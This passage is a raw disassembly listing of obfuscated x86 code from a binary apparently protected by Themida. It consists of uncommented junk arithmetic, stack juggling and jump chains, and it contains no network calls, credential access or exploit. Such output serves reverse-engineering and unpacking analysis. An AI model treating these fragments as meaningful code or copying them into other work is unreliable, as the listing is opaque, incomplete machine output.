--------------------------------------------------------------------------- loc_5645C2: ; CODE XREF: Themida_:005640CBj add esi, 0D5EB9FFBh jmp loc_56750C ; --------------------------------------------------------------------------- loc_5645CD: ; CODE XREF: Themida_:0056EA1Aj push dword ptr [edi+1Ch] jmp loc_56A13D ; --------------------------------------------------------------------------- loc_5645D5: ; CODE XREF: Themida_:0055DD72j pop ebx sub al, 0D2h sub al, 54h mov cx, [esp] push ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 add ecx, 2 xchg ecx, [esp] jmp loc_56BFC9 ; --------------------------------------------------------------------------- loc_5645FD: ; CODE XREF: Themida_:00562ECAj add edx, 4 xchg edx, [esp] pop esp sub ebx, ebp add ebx, 3D7013A3h mov ebp, [esp] add esp, 4 jmp loc_56A43D ; --------------------------------------------------------------------------- loc_56461D: ; CODE XREF: Themida_:00567AAEj add edx, 4 jmp loc_56001C ; --------------------------------------------------------------------------- loc_564628: ; CODE XREF: Themida_:005642C3j sub edx, 0D3F3318h add edx, ebp push ebx mov ebx, 0D3F3318h add edx, ebx pop ebx pop ebp jmp loc_5635EC ; --------------------------------------------------------------------------- loc_56463F: ; CODE XREF: Themida_:00564B0Fj neg esi shl esi, 7 push ebx mov ebx, 69472E6Dh jmp loc_55FE97 ; --------------------------------------------------------------------------- loc_56464F: ; CODE XREF: Themida_:0056D4F7j mov [esp], ebp mov ebp, 1F2822F2h and ebp, 62CE5D59h push ebp jmp loc_565A11 ; --------------------------------------------------------------------------- loc_564663: ; CODE XREF: Themida_:00567AE2j add edi, ecx mov ecx, [esp] add esp, 4 push ebp mov ebp, 8A3B45AAh jmp loc_5635DB ; --------------------------------------------------------------------------- loc_564679: ; CODE XREF: Themida_:0055FBE4j sub esi, 0F47DDE54h and eax, esi pop esi jmp loc_571F7D ; --------------------------------------------------------------------------- loc_564687: ; CODE XREF: Themida_:00563B93j push eax jmp loc_561EF2 ; --------------------------------------------------------------------------- loc_56468D: ; CODE XREF: Themida_:005711F4j sub ebp, 32AC745Dh jmp loc_56272F ; --------------------------------------------------------------------------- loc_564698: ; CODE XREF: Themida_:0056B38Fj pop esp push 0E3Eh jmp loc_561D64 ; --------------------------------------------------------------------------- loc_5646A3: ; CODE XREF: Themida_:0056EA50j push eax jmp loc_5622F8 ; --------------------------------------------------------------------------- loc_5646A9: ; CODE XREF: Themida_:0056C79Dj push ebx mov ebx, 0 sub ebx, edx mov edx, ebx pop ebx neg edx push esi push eax push 54621360h jmp loc_564F35 ; --------------------------------------------------------------------------- loc_5646C2: ; CODE XREF: Themida_:0056EA30j mov [esp], eax jmp loc_563E84 ; --------------------------------------------------------------------------- loc_5646CA: ; CODE XREF: Themida_:0056F42Cj push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] rol dword ptr [esp], cl pushf jmp loc_567F33 ; --------------------------------------------------------------------------- loc_5646DE: ; CODE XREF: Themida_:0056DF86j mov edi, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push dword ptr [esp] mov ecx, [esp] push edx mov edx, esp add edx, 4 jmp loc_56E119 ; --------------------------------------------------------------------------- loc_564702: ; CODE XREF: Themida_:0055ED78j push dword ptr [esp] mov edi, [esp] jmp loc_5658EC ; --------------------------------------------------------------------------- loc_56470D: ; CODE XREF: Themida_:00565815j add eax, 3D50223Fh jmp loc_56DD1E ; --------------------------------------------------------------------------- loc_564717: ; CODE XREF: Themida_:00563B57j and edx, 95341ADh sub edx, 4D0672F4h push ebp mov ebp, 5F7A5CFFh jmp loc_562DCA ; --------------------------------------------------------------------------- loc_56472E: ; CODE XREF: Themida_:0055E7D4j shl dl, 1 jmp loc_567CF6 ; --------------------------------------------------------------------------- loc_564735: ; CODE XREF: Themida_:0055FD2Ej sub eax, 3D50223Fh pop ebp jmp loc_55FE7F ; --------------------------------------------------------------------------- loc_564740: ; CODE XREF: Themida_:005639AFj xchg eax, [esp] pop esp mov [esp], ebx push dword ptr [esp] jmp loc_55E38A ; --------------------------------------------------------------------------- loc_56474F: ; CODE XREF: Themida_:0056FF5Aj or edx, 6F940BA6h sub edx, 45EE12B3h add edx, 1F179CFh add edx, 56013E53h jmp loc_566296 ; --------------------------------------------------------------------------- loc_56476C: ; CODE XREF: Themida_:0056D220j push dword ptr [esp] pop edx jmp loc_561CE8 ; --------------------------------------------------------------------------- loc_564775: ; CODE XREF: Themida_:0056082Ej add edx, ebp mov ebp, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_565137 ; --------------------------------------------------------------------------- loc_564793: ; CODE XREF: Themida_:0055F0B7j neg ebx jmp loc_56EEC1 ; --------------------------------------------------------------------------- loc_56479A: ; CODE XREF: Themida_:0056FE5Cj xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp ror byte ptr [esp], cl pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5647AD: ; CODE XREF: Themida_:0056F2B6j sub esp, 4 mov [esp], ecx mov ecx, 0 add ecx, edx push edx mov edx, 0 add edx, ecx mov eax, [edx] pop edx jmp loc_569407 ; --------------------------------------------------------------------------- loc_5647CA: ; CODE XREF: Themida_:00564BECj push 182D054Fh pop edi shl edi, 7 sub edi, 253E54CDh sub edi, 0D3031BD4h mov ecx, edi pop edi jmp loc_56B123 ; --------------------------------------------------------------------------- loc_5647E7: ; CODE XREF: Themida_:00566846j mov [esp], edx mov edx, esp jmp loc_56C4C5 ; --------------------------------------------------------------------------- loc_5647F1: ; CODE XREF: Themida_:0056EF5Dj push 0F88205Eh jmp loc_5631C0 ; --------------------------------------------------------------------------- loc_5647FB: ; CODE XREF: Themida_:00561ECAj add esi, 4 xchg esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp push 63F2h push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_5600C7 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax push 5557h jmp loc_562610 ; --------------------------------------------------------------------------- loc_564836: ; CODE XREF: Themida_:0056DCC8j pop ecx mov ecx, eax pop eax add ebx, ecx pop ecx sub ebx, 4 jmp loc_570DC9 ; --------------------------------------------------------------------------- loc_564848: ; CODE XREF: Themida_:0056B648j xor ecx, 4348149Ah or ecx, 2E2D009Ch add ecx, 91429C27h jmp loc_571DAD ; --------------------------------------------------------------------------- loc_56485F: ; CODE XREF: Themida_:0055D454j push edx mov edx, 4A73318Dh xor edx, 4A733189h add ebx, edx pop edx sub esp, 4 mov [esp], edx jmp loc_566C27 ; --------------------------------------------------------------------------- loc_564879: ; CODE XREF: Themida_:0056F385j pop ebx add [esp+0Ch], ebp jmp loc_567559 ; --------------------------------------------------------------------------- loc_564883: ; CODE XREF: Themida_:0055E056j sub ecx, 502B4EB7h add ecx, edi add ecx, 502B4EB7h push dword ptr [esp] pop edi push ebx mov ebx, esp jmp loc_566DE6 ; --------------------------------------------------------------------------- loc_56489D: ; CODE XREF: Themida_:00565527j mov [esp], eax push 55C44650h pop eax and eax, 4ADC29FBh add eax, 3AE67C7h dec eax sub eax, 0FFFFFFFFh sub eax, 1BB814EBh xor esi, eax pop eax add esi, 50E17C34h sub esi, 6F1922D7h add esi, 39B4772Ah sub edx, esi jmp loc_5688BF ; --------------------------------------------------------------------------- loc_5648D7: ; CODE XREF: Themida_:00564406j mov edx, 0DD309F99h jmp loc_560092 ; --------------------------------------------------------------------------- loc_5648E1: ; CODE XREF: Themida_:0056C5A1j pop dword ptr [esp] mov esp, [esp] mov ax, [esp] sub esp, 4 jmp loc_56E49D ; --------------------------------------------------------------------------- loc_5648F3: ; CODE XREF: Themida_:00562417j add esp, 4 jmp loc_56C140 ; --------------------------------------------------------------------------- loc_5648FB: ; CODE XREF: Themida_:0056EE24j dec edx jmp loc_56B575 ; --------------------------------------------------------------------------- loc_564901: ; CODE XREF: Themida_:005644B4j pop ebx sub edx, 1E68575Eh sub edx, edi jmp loc_55E3EB ; --------------------------------------------------------------------------- loc_56490F: ; CODE XREF: Themida_:00567355j sub eax, esi sub eax, 6641190Bh push dword ptr [esp] pop esi add esp, 4 jmp loc_56A786 ; --------------------------------------------------------------------------- loc_564925: ; CODE XREF: Themida_:00563F88j mov ebp, [esp] add esp, 4 std push ebp push edi push 73CE1E9Fh mov edi, [esp] add esp, 4 neg edi add edi, 0BB0E718Fh mov ebp, edi mov edi, [esp] add esp, 4 sub ebp, 16277840h push edi jmp loc_56A2AC ; --------------------------------------------------------------------------- loc_564958: ; CODE XREF: Themida_:00567A23j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push esi mov esi, 3E5D17C9h and esi, 2E0F1F17h jmp loc_561FAA ; --------------------------------------------------------------------------- loc_564979: ; CODE XREF: Themida_:0057163Aj mov edx, 0CB4504Dh add edx, 4B69CDBFh not edx jmp loc_5635A5 ; --------------------------------------------------------------------------- loc_56498B: ; CODE XREF: Themida_:0056F2E6j btc [esp], ax pushf jmp loc_570B72 ; --------------------------------------------------------------------------- loc_564996: ; CODE XREF: Themida_:0056DB40j mov eax, 5A8A580Eh or ebx, eax pop eax xor ebx, 42A11C70h jmp loc_561BF0 ; --------------------------------------------------------------------------- loc_5649A9: ; CODE XREF: Themida_:00567D04j push ebx mov ebx, esp add ebx, 4 sub esp, 4 mov [esp], eax mov eax, 4 add ebx, eax pop eax jmp loc_572844 ; --------------------------------------------------------------------------- loc_5649C8: ; CODE XREF: Themida_:0056B788j push ebx mov ebx, 72BA0757h sub ecx, ebx pop ebx push 1591h mov [esp], ebx jmp loc_56567C ; --------------------------------------------------------------------------- loc_5649DE: ; CODE XREF: Themida_:0056D92Fj push ecx push esp push dword ptr [esp] pop ecx add esp, 4 push ebx jmp loc_56692F ; --------------------------------------------------------------------------- loc_5649F0: ; CODE XREF: Themida_:00561D5Fj pop ebx add ebp, 4 xchg ebp, [esp] pop esp push edi mov edi, esp jmp loc_566F59 ; --------------------------------------------------------------------------- loc_564A03: ; CODE XREF: Themida_:0055F205j pop ebp jmp loc_55ECFE ; --------------------------------------------------------------------------- loc_564A09: ; CODE XREF: Themida_:0056EBB7j add edx, 4 add edx, 4 jmp loc_566560 ; --------------------------------------------------------------------------- mov ax, fs:[edx] push edx jmp loc_55E789 ; --------------------------------------------------------------------------- loc_564A24: ; CODE XREF: Themida_:0056EEF0j mov eax, 5BA04702h sub [esp+8], eax pop eax push dword ptr [esp] pop esi push ecx mov ecx, esp push ebp push 275Fh mov [esp], edi mov edi, 67183C54h mov ebp, 0AA1D7A92h sub ebp, edi mov edi, [esp] jmp loc_56C90A ; --------------------------------------------------------------------------- loc_564A52: ; CODE XREF: Themida_:00568E29j mov edi, [esp] add esp, 4 push ebp jmp loc_56033F ; --------------------------------------------------------------------------- loc_564A61: ; CODE XREF: Themida_:00561F3Fj push esp mov eax, [esp] jmp loc_56E7A5 ; --------------------------------------------------------------------------- loc_564A6A: ; CODE XREF: Themida_:00568865j push esi mov esi, 760A02D0h shl esi, 3 push eax mov eax, 2C5E3170h xor esi, eax pop eax add esi, 0FFFFFFFFh push 7C3Ch mov [esp], esi not dword ptr [esp] pop esi and esi, 50262624h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_55DBEF ; --------------------------------------------------------------------------- loc_564AA5: ; CODE XREF: Themida_:0056E81Fj add esi, edi pop edi push dword ptr [esp] pop ebx add esp, 4 jmp loc_56EFCC ; --------------------------------------------------------------------------- loc_564AB7: ; CODE XREF: Themida_:0056847Bj inc eax add eax, 42502A58h xchg eax, ecx jmp loc_55DA34 ; --------------------------------------------------------------------------- loc_564AC3: ; CODE XREF: Themida_:00561C30j push dword ptr [esp] jmp loc_56BB0C ; --------------------------------------------------------------------------- loc_564ACB: ; CODE XREF: Themida_:0056A04Cj xor eax, 7DAD169Ah add edx, eax jmp loc_56573C ; --------------------------------------------------------------------------- loc_564AD7: ; CODE XREF: Themida_:00570A98j add edx, eax sub edx, 831022Eh push dword ptr [esp] pop eax add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_55D9BA ; --------------------------------------------------------------------------- loc_564B0E: ; CODE XREF: Themida_:0056ED41j pop eax jmp loc_56463F ; --------------------------------------------------------------------------- loc_564B14: ; CODE XREF: Themida_:0056E0E5j add ecx, edx pop edx mov esi, ecx mov ecx, [esp] add esp, 4 shr esi, 8 add esi, 5EA202F2h push ebx mov ebx, 48645183h and esi, ebx pop ebx add esi, 0CAC6F7B1h xchg edi, esi jmp loc_561AB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562A0A loc_564B3E: ; CODE XREF: sub_562A0A+D9C3j xor [esp+8+var_8], ebp xor ebp, [esp+8+var_8] mov esp, [esp+8+var_8] pop edx sub esp, 4 mov [esp+4+var_4], ecx jmp loc_56DEE8 ; END OF FUNCTION CHUNK FOR sub_562A0A ; --------------------------------------------------------------------------- loc_564B53: ; CODE XREF: Themida_:00562D40j push edx jmp loc_55E7A1 ; --------------------------------------------------------------------------- loc_564B59: ; CODE XREF: Themida_:0056B999j mov eax, [esp] push 5491h mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_56406C ; --------------------------------------------------------------------------- loc_564B74: ; CODE XREF: Themida_:00561430j not eax push 5F35h mov [esp], eax not dword ptr [esp] jmp loc_55FFFF ; --------------------------------------------------------------------------- loc_564B86: ; CODE XREF: Themida_:0056BF49j dec ebx jmp loc_56D8DF ; --------------------------------------------------------------------------- loc_564B8C: ; CODE XREF: Themida_:0055FDB5j add edi, 4 jmp loc_56DA77 ; --------------------------------------------------------------------------- mov ax, [esp] push 4B61h mov [esp], edi push esi mov esi, esp add esi, 4 jmp loc_55D87A ; --------------------------------------------------------------------------- loc_564BB1: ; CODE XREF: Themida_:0056F4C1j add eax, esi pop esi sub ebx, eax mov eax, [esp] jmp loc_56A385 ; --------------------------------------------------------------------------- loc_564BBE: ; CODE XREF: Themida_:0055EDC1j pop ecx jmp loc_56B2F2 ; --------------------------------------------------------------------------- loc_564BC4: ; CODE XREF: Themida_:0056EB92j pop edi add ebx, esi sub ebx, 2D7F737Dh pop esi xor ebx, [esp] jmp loc_56915D ; --------------------------------------------------------------------------- loc_564BD6: ; CODE XREF: Themida_:0056215Aj sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_56846E ; --------------------------------------------------------------------------- loc_564BEB: ; CODE XREF: Themida_:0056DE1Aj push edi jmp loc_5647CA ; --------------------------------------------------------------------------- loc_564BF1: ; CODE XREF: Themida_:00568CE4j mov [esp], eax push edx jmp loc_5659C1 ; --------------------------------------------------------------------------- loc_564BFA: ; CODE XREF: Themida_:0056F3B9j pop edi add esp, 4 xor esi, [esp] jmp loc_563BC4 ; --------------------------------------------------------------------------- loc_564C09: ; CODE XREF: Themida_:00566471j push eax mov eax, 57C32D7Bh add ebx, eax jmp loc_566C03 ; --------------------------------------------------------------------------- loc_564C16: ; CODE XREF: Themida_:0056CEACj add eax, 658D498Eh push 4229h mov [esp], edx mov edx, 5A1418CDh xor edx, 5CDB01CAh and edx, 23AC5F2Ch sub edx, 0FD030392h shl edx, 4 jmp loc_5654CC ; --------------------------------------------------------------------------- loc_564C42: ; CODE XREF: Themida_:00568D54j sub esi, 21691F9Fh sub esi, eax add esi, 21691F9Fh add esi, 4CB21933h push ecx mov ecx, 1D74EE7h add esi, 5070C05h sub esi, ecx sub esi, 5070C05h pop ecx add esi, 607B568Ch mov eax, [esp] add esp, 4 jmp loc_563029 ; --------------------------------------------------------------------------- loc_564C7F: ; CODE XREF: Themida_:005624F6j dec edx sub edx, 9713A80h push edx pop eax mov edx, [esp] add esp, 4 push 531Fh mov [esp], edi jmp loc_568D77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_564C9E: ; CODE XREF: sub_59DB3D-34353j pop eax push 66A6h mov [esp+28h+var_28], edi jmp loc_565171 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_564CAC: ; CODE XREF: Themida_:00562D92j mov ebx, [esp] add esp, 4 add esp, 4 jmp loc_56916F ; --------------------------------------------------------------------------- loc_564CBA: ; CODE XREF: Themida_:00560347j push ecx mov ecx, 4 sub ebp, ecx pop ecx xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_56CCBD ; --------------------------------------------------------------------------- loc_564CCF: ; CODE XREF: Themida_:005659B2j push edi jmp loc_5617FD ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax jmp loc_56A0EF ; --------------------------------------------------------------------------- loc_564CDE: ; CODE XREF: Themida_:00565D35j push small 4FDCh mov [esp], di mov bp, [esp] add esp, 2 mov di, [esp] add esp, 2 jmp loc_563E2A ; --------------------------------------------------------------------------- loc_564CF9: ; CODE XREF: Themida_:0056AAADj mov ebx, 79882CADh jmp loc_565EE1 ; --------------------------------------------------------------------------- loc_564D03: ; CODE XREF: Themida_:00563210j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax push edi mov edi, 50F2851h shl edi, 8 jmp loc_56E594 ; --------------------------------------------------------------------------- loc_564D26: ; CODE XREF: Themida_:0055D762j sub ebp, 60B6679Dh xor ebp, 37DF18AEh jmp loc_56EFDC ; --------------------------------------------------------------------------- loc_564D37: ; CODE XREF: Themida_:00564FF4j neg esi neg esi xor esi, 0B625220h push ecx mov ecx, 0F620137h jmp loc_56B7A2 ; --------------------------------------------------------------------------- loc_564D4C: ; CODE XREF: Themida_:005663EFj add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_56A497 ; --------------------------------------------------------------------------- loc_564D65: ; CODE XREF: Themida_:0056CA0Aj push esi not dword ptr [esp] pop esi push edi push 4570h mov [esp], ebx mov ebx, 65552F6Ch sub ebx, 0B0541FFh jmp loc_56C343 ; --------------------------------------------------------------------------- loc_564D83: ; CODE XREF: Themida_:0055FCFDj add esi, edi add esi, 6C0B0F9Fh jmp loc_56706F ; --------------------------------------------------------------------------- loc_564D90: ; CODE XREF: Themida_:00566D0Aj xor [esp], ecx xor ecx, [esp] pop esp jmp loc_569057 ; --------------------------------------------------------------------------- loc_564D9C: ; CODE XREF: Themida_:005669D7j mov esi, 37A710B9h push eax mov eax, 0E9B11C29h jmp loc_56B779 ; --------------------------------------------------------------------------- loc_564DAC: ; CODE XREF: Themida_:0056DF41j push ebx mov ebx, 49D571CEh push ebp push 4DE9h mov [esp], ecx push 41D702F3h push dword ptr [esp] pop ecx add esp, 4 add ecx, 5106016Fh dec ecx sub ecx, 729AF4E6h jmp loc_56147C ; --------------------------------------------------------------------------- loc_564DDC: ; CODE XREF: Themida_:0056DD2Dj push dword ptr [esp+4] jmp loc_56ECEF ; --------------------------------------------------------------------------- loc_564DE5: ; CODE XREF: Themida_:0056049Cj sub ch, 2Ch jmp loc_55E46C ; --------------------------------------------------------------------------- loc_564DED: ; CODE XREF: Themida_:0056975Aj add ebp, 0BC98DC5h jmp loc_56CC5F ; --------------------------------------------------------------------------- loc_564DF8: ; CODE XREF: Themida_:0056DAE3j xor eax, 4EF26AB6h push edi push 44B1545Bh jmp loc_55F111 ; --------------------------------------------------------------------------- loc_564E08: ; CODE XREF: Themida_:00563B47j push ebp mov ebp, 4E360804h add edi, ebp pop ebp or edx, edi pop edi push ecx mov ecx, 6D0D4885h jmp loc_56D560 ; --------------------------------------------------------------------------- loc_564E1F: ; CODE XREF: Themida_:00560CB3j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_564E24: ; CODE XREF: Themida_:0056EB16j push 0D7C3F28h pop ebx sub ebx, 86FFFBEh push ebx pop ecx pop ebx jmp loc_5683CF ; --------------------------------------------------------------------------- loc_564E38: ; CODE XREF: Themida_:0056B7FAj mov esi, [esp] add esp, 4 jmp loc_55E82D ; --------------------------------------------------------------------------- loc_564E43: ; CODE XREF: Themida_:0056A4C5j mov ecx, esi pop esi mov ebx, ecx pop ecx push esi mov esi, 1C986B17h neg esi dec esi sub esi, 0C04E56FCh shl esi, 6 neg esi shr esi, 4 inc esi sub esi, 0E193B53Bh jmp loc_57165B ; --------------------------------------------------------------------------- loc_564E6C: ; CODE XREF: Themida_:0057179Dj pop ebx neg ecx inc ecx xor ecx, 7FA32B8Eh mov edx, ecx pop ecx push 333Ah jmp loc_56634A ; --------------------------------------------------------------------------- loc_564E83: ; CODE XREF: Themida_:0056CEF3j xor ecx, 0D06D1FC4h add ebx, ecx mov ecx, [esp] add esp, 4 and edx, ebx pop ebx push 572Ch mov [esp], esi mov esi, 69B7740Bh neg esi push edx mov edx, 9C63DE94h xor esi, edx mov edx, [esp] add esp, 4 add edx, esi jmp loc_5623E4 ; --------------------------------------------------------------------------- loc_564EBE: ; CODE XREF: Themida_:0056EA7Cj pop esi xor esi, edi jmp loc_55FEED ; --------------------------------------------------------------------------- loc_564EC6: ; CODE XREF: Themida_:00569F66j pop esp push ebp jmp loc_569C8A ; --------------------------------------------------------------------------- loc_564ECD: ; CODE XREF: Themida_:00569E9Bj push edi mov edi, 0DE86FCDh add ebx, edi pop edi add ebx, edi sub ebx, 0DE86FCDh mov edi, [esp] jmp loc_55E4A6 ; --------------------------------------------------------------------------- loc_564EE6: ; CODE XREF: Themida_:0056856Dj push 2E70h mov [esp], edx push eax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_564EF5: ; CODE XREF: Themida_:0056877Dj pop dword ptr [esp] pop esp add eax, 4 xchg eax, [esp] mov esp, [esp] bswap eax push 71D6h jmp loc_55E2FB ; --------------------------------------------------------------------------- loc_564F0E: ; CODE XREF: Themida_:0056912Ej push cx mov ch, 6Bh push cx push 1FD4h mov [esp], ebx jmp loc_56DBBA ; --------------------------------------------------------------------------- loc_564F21: ; CODE XREF: Themida_:0055F56Ej add bl, 8Eh movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] jmp loc_566F26 ; --------------------------------------------------------------------------- loc_564F35: ; CODE XREF: Themida_:005646BDj mov eax, [esp] add esp, 4 not eax xor eax, 59DE53ECh jmp loc_56290E ; --------------------------------------------------------------------------- loc_564F4A: ; CODE XREF: Themida_:00569D5Fj push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], ecx jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_564F60: ; CODE XREF: Themida_:0055F863j mov edx, 53D52490h mov ebx, edx pop edx mov edx, 0C4D1D08Eh sub edx, ebx jmp loc_56DB09 ; --------------------------------------------------------------------------- loc_564F74: ; CODE XREF: Themida_:0056303Bj mov edi, 4D852F26h add [esp+4], edi push dword ptr [esp] jmp loc_56680E ; --------------------------------------------------------------------------- loc_564F85: ; CODE XREF: Themida_:0055E0A2j add esp, 4 sub eax, 43A067EDh push ebp mov ebp, esp push edi mov edi, 7CA14E37h not edi xor edi, 835EB1CCh jmp loc_560FBB ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push dword ptr [esp] push dword ptr [esp] jmp loc_563C91 ; --------------------------------------------------------------------------- loc_564FB1: ; CODE XREF: Themida_:0056EEDEj push edx mov edx, 2BBE36ECh shl edx, 6 jmp loc_56A2DF ; --------------------------------------------------------------------------- loc_564FBF: ; CODE XREF: Themida_:0056D24Cj add edi, 4 jmp loc_567C99 ; --------------------------------------------------------------------------- loc_564FCA: ; CODE XREF: Themida_:0055EFA0j push cx mov ch, 0C4h push edx push ecx mov cl, 0B9h jmp loc_5714E7 ; --------------------------------------------------------------------------- loc_564FD7: ; CODE XREF: Themida_:0056C66Ej mov edi, edx pop edx push edi pop ebp push dword ptr [esp] pop edi push edi jmp loc_56C6E7 ; --------------------------------------------------------------------------- loc_564FE6: ; CODE XREF: Themida_:00566834j mov ebp, 203274AEh xor esi, ebp pop ebp and esi, 42D92EC9h jmp loc_564D37 ; --------------------------------------------------------------------------- loc_564FF9: ; CODE XREF: Themida_:00565079j mov ch, ah push ebx mov bh, dl jmp loc_55D317 ; --------------------------------------------------------------------------- loc_565003: ; CODE XREF: Themida_:0056E025j pop cx jmp loc_569A0E ; --------------------------------------------------------------------------- loc_56500A: ; CODE XREF: Themida_:0056A148j push esp pop ebp push edx sub esp, 4 mov [esp], edi push ebp jmp loc_572122 ; --------------------------------------------------------------------------- loc_56501C: ; CODE XREF: Themida_:005717EDj add [esp+4], ebp add dword ptr [esp+4], 2F855D9h add dword ptr [esp+4], 57E0698Bh sub dword ptr [esp+4], 5E9275A9h mov ebp, [esp] push edx mov edx, esp jmp loc_562331 ; --------------------------------------------------------------------------- loc_565043: ; CODE XREF: Themida_:00569372j mov esi, [esp] add esp, 4 jmp loc_561060 ; --------------------------------------------------------------------------- loc_565051: ; CODE XREF: Themida_:00560E03j add edx, 0C07E388Dh jmp loc_567DFB ; --------------------------------------------------------------------------- loc_56505C: ; CODE XREF: Themida_:0055D53Ej add esp, 4 sub esp, 4 mov [esp], edx jmp loc_56A039 ; --------------------------------------------------------------------------- loc_56506D: ; CODE XREF: Themida_:00568EB5j xchg ecx, [esp] mov esp, [esp] jmp loc_56F064 ; --------------------------------------------------------------------------- loc_565078: ; CODE XREF: Themida_:0056D32Cj push ecx jmp loc_564FF9 ; --------------------------------------------------------------------------- loc_56507E: ; CODE XREF: Themida_:005728A6j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ebp jmp loc_56EABA ; --------------------------------------------------------------------------- loc_565091: ; CODE XREF: Themida_:00571BE1j inc edi xor edi, 0DEE5786h sub edi, 6C0034B6h jmp loc_5674E3 ; --------------------------------------------------------------------------- loc_5650A3: ; CODE XREF: Themida_:00562441j xchg edi, [esp] mov esp, [esp] push 4F80h mov [esp], edi push ebp push edx jmp loc_56F2F1 ; --------------------------------------------------------------------------- loc_5650B8: ; CODE XREF: Themida_:0056D9BAj xor esi, 0B990052h xor esi, 49EBA31Dh xor ebp, esi pop esi sub esp, 4 jmp loc_567FE4 ; --------------------------------------------------------------------------- loc_5650D2: ; CODE XREF: Themida_:0056D1C6j pop ebp jmp loc_567AFE ; --------------------------------------------------------------------------- loc_5650D8: ; CODE XREF: Themida_:00570913j push ecx mov ecx, esp jmp loc_55EEC6 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push 18A9h jmp loc_5693EC ; --------------------------------------------------------------------------- loc_5650EE: ; CODE XREF: Themida_:0055FF4Fj pop eax mov ebx, [esp] jmp loc_563C37 ; --------------------------------------------------------------------------- loc_5650F7: ; CODE XREF: Themida_:0056E137j or ecx, 4EE1768Fh jmp loc_561ABA ; --------------------------------------------------------------------------- mov ax, [esp] push 389Fh jmp loc_56A9DF ; --------------------------------------------------------------------------- loc_565110: ; CODE XREF: Themida_:00569615j pop edx jmp loc_56E416 ; --------------------------------------------------------------------------- loc_565116: ; CODE XREF: Themida_:0056E61Bj add esp, 4 jmp loc_560747 ; --------------------------------------------------------------------------- loc_56511E: ; CODE XREF: Themida_:0056BD86j shl bx, 8 add bx, 1535h sub si, bx jmp loc_561D3C ; --------------------------------------------------------------------------- loc_56512F: ; CODE XREF: Themida_:0056B099j add esp, 4 jmp loc_57028A ; --------------------------------------------------------------------------- loc_565137: ; CODE XREF: Themida_:0056478Ej push edi mov edi, esp jmp loc_571C0F ; --------------------------------------------------------------------------- loc_56513F: ; CODE XREF: Themida_:00566B80j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push 6B14h mov [esp], esi mov esi, 33083381h push eax mov eax, 0 sub eax, esi mov esi, eax jmp loc_569BE2 ; --------------------------------------------------------------------------- loc_56516A: ; CODE XREF: Themida_:00571D5Dj mov dl, 3Bh jmp loc_570C1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_565171: ; CODE XREF: sub_59DB3D-38E96j push 37CE4DF2h pop edi sub edi, 4095093Dh neg edi sub edi, 8C6BB47h jmp loc_56C225 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_56518A: ; CODE XREF: Themida_:00562543j inc si shl si, 5 xor si, 2B24h jmp loc_56A9F9 ; --------------------------------------------------------------------------- loc_56519A: ; CODE XREF: Themida_:005710D7j mov [esp], dx push ax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5651A6: ; CODE XREF: Themida_:0055DEC6j push edx mov edx, 20h add edx, edi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_570567 ; --------------------------------------------------------------------------- loc_5651C5: ; CODE XREF: Themida_:005635D6j add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_56D7FA ; --------------------------------------------------------------------------- loc_5651D9: ; CODE XREF: Themida_:005717ABj xor edx, esi pop esi add ebp, edx jmp loc_56547E ; --------------------------------------------------------------------------- loc_5651E3: ; CODE XREF: Themida_:00572A53j add ecx, 70CF1E38h pop esi mov esi, ecx mov ecx, [esp] push ecx jmp loc_55E1A0 ; --------------------------------------------------------------------------- loc_5651F5: ; CODE XREF: Themida_:0056ED35j add ebx, eax sub ebx, 17814D51h mov eax, [esp] add esp, 4 push esi mov esi, 2 push edi mov edi, 37335753h jmp loc_56EB76 ; --------------------------------------------------------------------------- loc_565214: ; CODE XREF: Themida_:0056771Fj push 4016h mov [esp], esi push 15ECh mov [esp], ecx sub esp, 4 mov [esp], eax mov eax, 77F61EF7h mov ecx, eax jmp loc_55E6E2 ; --------------------------------------------------------------------------- loc_565239: ; CODE XREF: Themida_:0055F333j add esp, 4 push esi push esp pop esi push edi mov edi, 4 add esi, edi pop edi jmp loc_5606D8 ; --------------------------------------------------------------------------- loc_56524D: ; CODE 